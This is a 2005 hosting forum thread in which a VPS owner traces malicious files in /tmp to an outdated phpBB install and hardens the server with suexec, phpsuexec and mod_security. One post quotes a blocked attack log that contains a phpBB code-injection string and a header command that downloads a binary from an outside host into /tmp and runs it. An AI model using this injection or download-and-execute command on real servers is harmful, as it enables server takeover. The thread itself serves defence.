Go Back   Defender Hosting Forums > PowerVPS Virtual Private Servers > Linux VPS - Security and Tuning

Linux VPS - Security and Tuning Security and Tuning Discussion for Linux Virtual Private Servers based on Virtuozzo by SWsoft

Reply
 
Thread Tools Display Modes

  #1  
Old 07-18-2005, 07:42 PM
mikelbeck
Guest
 
Posts: n/a
Default Who sent up this file?

How can I find out who uploaded a file?

I've been getting a lot of crap in my /tmp directory. This afternoon I found bd, and a bunch of bd.1, bd.2, etc files. Plus bash. I deleted them all, this evening I found another bash. It shows it's owned by "nobody".

Is there any way I can find out who sent this file up? And would somebody be able to send something up to my /tmp directory?
Reply With Quote

  #2  
Old 07-18-2005, 07:58 PM
Fred Fred is offline
Senior Member
 
Join Date: Jun 2005
Posts: 601
Fred is on a distinguished road
Default

it was uploaded by apache.
you should check if your tmp is secure... i.e. no ability to execute file.

You should write support about it. They sure have something for you.

personnaly, i'm using php with phpsuexec and suexec for cgi,perl files... so i think i would be able to find who is doing it because i think everyfile will be owned by the user.... You should think about enabling these protections.

But first ask support@ they can help you for sure... Don't wait!!
Reply With Quote

  #3  
Old 07-18-2005, 08:02 PM
mikelbeck
Guest
 
Posts: n/a
Default

Quote:
Originally Posted by Fred
it was uploaded by apache.
you should check if your tmp is secure... i.e. no ability to execute file.

You should write support about it. They sure have something for you.

personnaly, i'm using php with phpsuexec and suexec for cgi,perl files... so i think i would be able to find who is doing it because i think everyfile will be owned by the user.... You should think about enabling these protections.

But first ask support@ they can help you for sure... Don't wait!!
I opened a ticket, already got a response. ;-)

They said that one of my domains running phpBB is using an old module, it'll have to be upgraded to the latest.
Reply With Quote

  #4  
Old 07-18-2005, 08:09 PM
Fred Fred is offline
Senior Member
 
Join Date: Jun 2005
Posts: 601
Fred is on a distinguished road
Default

ok, the phpbb module was abused ?

A lot of hosts is banning phpbb forum from their servers... see: http://www.webhostingtalk.com/showth...hreadid=424624

IMO, we shouldn't ban... but we must stay aware of any updates and security risks... Run modsecurity... and *force* the user to update to the latest version.

I was thinking about modifying my term of service to include something about updates and latest version...
Reply With Quote

  #5  
Old 07-18-2005, 08:29 PM
mikelbeck
Guest
 
Posts: n/a
Default

Quote:
Originally Posted by Fred
personnaly, i'm using php with phpsuexec and suexec for cgi,perl files... so i think i would be able to find who is doing it because i think everyfile will be owned by the user.... You should think about enabling these protections.
I already have suexec enabled (according to cPanel). How do I enable phpsuexec?
Reply With Quote

  #6  
Old 07-18-2005, 08:54 PM
mikelbeck
Guest
 
Posts: n/a
Default

Quote:
Originally Posted by mikelbeck
I already have suexec enabled (according to cPanel). How do I enable phpsuexec?
Never mind, I found it.
Reply With Quote

  #7  
Old 07-18-2005, 08:59 PM
Fred Fred is offline
Senior Member
 
Join Date: Jun 2005
Posts: 601
Fred is on a distinguished road
Default

i think it need to be enabled when you compile apache... See the software section in whm and look for apache update ... you can see a lot of options from that place.

I'm not pretty sure i enabled it from there... so again, you should ask support or ... wait here for a reply or try google
Reply With Quote

  #8  
Old 07-18-2005, 09:00 PM
Fred Fred is offline
Senior Member
 
Join Date: Jun 2005
Posts: 601
Fred is on a distinguished road
Default

good then :P
Reply With Quote

  #9  
Old 07-18-2005, 10:20 PM
mikelbeck
Guest
 
Posts: n/a
Default

Yeah, it looks like there's (yet another) phpBB bug. The site that's being attacked is on 2.0.15, I know the latest is 2.0.16 and I've told the admin he has to update it ASAP.

I've enabled suexec, phpsuexec and mod_security. Actually, mod_security was already installed, I just tightened it up a bit. And it looks like I've stopped the attack for the time being:

Quote:
========================================
Request: 69.58.0.69 - - [18/Jul/2005:22:10:22 -0400] "GET /forums/viewtopic.php?t=535&view=next&highlight='.system(g etenv(HTTP_PHP)).' HTTP/1.0" 403 632
Handler: server-parsed
----------------------------------------
GET /forums/viewtopic.php?t=535&view=next&highlight='.system(g etenv(HTTP_PHP)).' HTTP/1.0
Accept: */*
Host: www.....com
PHP: cd /tmp;wget www.nordicfiber.com/~racer/libs;mv libs bash;chmod 777 bash;./bash
User-Agent: Mozilla/4.0
mod_security-message: Access denied with code 403. Pattern match "'" at THE_REQUEST.
mod_security-action: 403

HTTP/1.0 403 Forbidden
Connection: close
Content-Type: text/html
I tightened it up a little too much, a user on another site PM'd me to say they couldn't post at all. I was trapping " ' ", which was no good, now I've got it looking for ".system" (among others). That should do it.
Reply With Quote

  #10  
Old 07-18-2005, 11:40 PM
Fred Fred is offline
Senior Member
 
Join Date: Jun 2005
Posts: 601
Fred is on a distinguished road
Default

Cool... they were trying
But it's probably a bot... most of them are i think.

i've found a website with good mod_security rules... http://www.eth0.us/?q=mod_security

it's important to tests them( i don't have the time for testing... and reading those logs... ) ... because It could break lot of scripts...

See what rules you currently run ( check in your httpd.conf for rules location... Check for includes in the included rules file... I think i have two files for the mod_sec rules... one is mine as user.conf (i think)..
and the other comes from a powervps cron job... ( with a pretty good and standard set of rules... Updated probably when a new vulnerability comes out ... I'ts pretty cool. )
Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Logging Into Root caucus Linux VPS - General 11 11-12-2006 05:11 AM
SSH Copy of File caucus Linux VPS - General 10 09-16-2006 03:24 PM
If I want to block an ip-address soidog Linux VPS - General 9 08-14-2006 08:31 PM
Users can access any file on the VPS. digitalgeek Linux VPS - General 11 03-04-2006 10:50 AM
Very big file question Fred Linux VPS - General 3 07-14-2005 12:22 AM



All times are GMT -4. The time now is 12:30 AM.


vBulletin skin developed by: eXtremepixels
Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
Copyright Defender Technologies Group, LLC 2006